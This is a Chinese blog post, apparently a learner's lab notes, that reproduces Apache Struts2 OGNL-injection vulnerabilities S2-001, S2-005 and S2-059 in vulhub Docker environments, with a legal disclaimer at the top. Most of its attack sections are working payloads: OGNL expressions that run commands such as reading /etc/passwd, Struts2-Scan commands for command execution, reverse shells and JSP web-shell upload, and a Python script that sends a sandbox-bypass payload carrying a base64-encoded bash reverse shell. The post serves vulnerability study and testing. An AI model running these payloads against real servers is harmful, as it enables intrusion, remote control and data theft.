简介

Apache Struts2最初被称为 WebWork2,它是一个简洁的、可扩展的框架,可用于创建企业级 Java web应用程序。设计这个框架是为了从构建部署、到应用程序维护方面来简化整个开发周期。


本博客所有内容均为作者的个人学习笔记记录,作者也是小白一枚,如果有什么地方写的不对或者对您带来影响欢迎底部留言或者点击右下角的图标与我联系吧

本博客的所有Security 大类下的文章只能作为学习研究使用不可用于非法测试和攻击,请遵循网络安全法,共筑和谐网络

如果喜欢我的文章欢迎各位大佬点击右下角的订阅图标开启浏览器推送吧,这样你只要不清除浏览器缓存就能第一时间收到我的更新通知啦(如果你的网络如果能上Google就用Chrome浏览器订阅,如果不能推荐用微软的Edge浏览器,目前正在寻找解决办法,订阅成功后会有一条提示成功,如果未收到表示网络限制原因未订阅成功)

中华人民共和国网络安全法(2017年6月1日起施行) 第二十二条任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法;不得为他人实施危害网络安全的活动提供技术支持、广告、推广、支付结算等帮助。 第三十八条任何个人和组织不得窃取或者以其他非法方式获取公民个人信息,不得出售或者非法向他人提供公民个人信息 第六十三条违反本法规定,给他人造成损害的,依法承担民事责任 第六十四条违反本法规定,构成犯罪的,依法追究刑事责任 中华人民共和国刑法(285286) 第二百八十五条违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的处三年以下有期徒刑或者拘役 第二百八十六条违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役:后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚 中华人民共和国刑法修正案7(第九条) 在刑法第二百八十五条中增加两款作为第二款、第三款:“违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金:情节特别严重的,处三年以上七年以下有期徒刑,并处罚金提供专门用于侵入、非法控制计算机信息系统的程序、或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严依照前款的规定处罚。


简介

漏洞环境:struts2/s2-xxx

原理

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

参考资料:https://blog.csdn.net/qq_35326718/article/details/70943604

s2-001

参考:https://cwiki.apache.org/confluence/display/WW/S2-001

启动

1
2
3
4
5
6
7
8
9
10
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd struts2/s2-001
# 自动化编译环境
docker-compose build
#执行如下命令启动服务
docker-compose up -d
# 测试完成后,删除整个环境
docker-compose down -v

漏洞复现

确认是否存在漏洞

原理和 sql 注入一样,先确定是否存在漏洞

1
%{2*2}

确认是否存在漏洞

获取tomcat执行路径

1
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取tomcat执行路径

获取Web路径

1
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

获取Web路径

执行任意命令

命令加参数:new java.lang.String[]{"cat","/etc/passwd"}

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

执行任意命令

s2-005

简介

影响版本:2.0.0-2.1.8.1
漏洞详情:https://cwiki.apache.org/confluence/display/WW/S2-005 https://www.cnblogs.com/devi1/p/13486633.html

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

1
2
3
4
user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

启动

1
2
3
4
5
6
7
8
9
10
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd struts2/s2-005
# 自动化编译环境
docker-compose build
#执行如下命令启动服务
docker-compose up -d
# 测试完成后,删除整个环境
docker-compose down -v

启动后页面

复现

通过第三方工具 K8_Struts2_EXP 进行复现,可同时结合其它工具一同使用 监测漏洞

s2-005远程命令执行

Struts2-Scan

项目地址:https://github.com/HatBoy/Struts2-Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#前置准备 需要安装第三方库
pip3 install click
pip3 install requests
pip3 install bs4
#单个URL漏洞检测
python3 /Users/ada/software/tools/struts2/Struts2-Scan-master/Struts2Scan.py -u http://www.security.ada:8080/example/HelloWorld.action
#批量漏洞检测
python3 Struts2Scan.py -f urls.txt
#POST数据
python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp}

# 命令执行 如果提示 暂不支持{name}漏洞利用 需要进入Struts2Scan.py 找到关键字后把判断条件的代码注释了即可
$ python3 /Users/ada/software/tools/struts2/Struts2-Scan-master/Struts2Scan.py -u http://www.security.ada:8080/example/HelloWorld.action -n S2-016 --exec

# 反弹shll
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --reverse 192.168.100.8:8888
[*] 请在反弹地址处监听端口如: nc -lvvp 8080

# 获取WEB路径
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath
[*] /usr/local/tomcat/webapps/ROOT/

# 上传shell
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 文件上传成功!

Struts2-Scan 使用

s2-059

简介

Struts2 s2-059远程代码执行漏洞(CVE-2019-0230)
Apache Struts框架,会对某些特定的标签的属性值,比如id屌性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。

影响版本

Struts 2.0.0-Struts 2.5.20
参考链接 https://cwiki.apache.org/confluence/display/ww/s2-059 https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/

启动

1
2
3
4
5
6
7
8
9
10
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd struts2/s2-059
# 自动化编译环境
docker-compose build
#执行如下命令启动服务
docker-compose up -d
# 测试完成后,删除整个环境
docker-compose down -v

启动后页面

复现

验证是否存在漏洞

1
2
# payload 将 %{3*9} 进行 url 编码
http://www.security.ada:8080/?id=%25%7B3*9%7D

验证存在漏洞

反弹shell

参考:https://www.cnblogs.com/bonelee/p/11021996.html

linux安装netcat:https://www.cnblogs.com/zk1023/p/11935965.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 1.安装gcc
yum install -y gcc
#2.下载
cd /usr/local/src/
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
# 3.解压
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
# 4.编译的时候用来指定程序存放路径
cd /usr/local/netcat-0.7.1
./configure --prefix=/usr/local/netcat
make && make install
# 5.添加配置
vim /etc/profile

export NETCAT_HOME=/usr/local/netcat
export PATH=$PATH:$NETCAT_HOME/bin
#6.立即生效
source /etc/profile
#7.测试
nc --help 或 netcat --help
#8.此处的/usr/local/netcat−0.7.1/相当于源码文件,安装成功的文件是/usr/local/netcat,这里可以将/usr/local/netcat−0.7.1/删除
cd ..
rm -rf netcat-0.7.1/

腾讯云反弹 shell 至阿里云


1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://www.security.ada:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)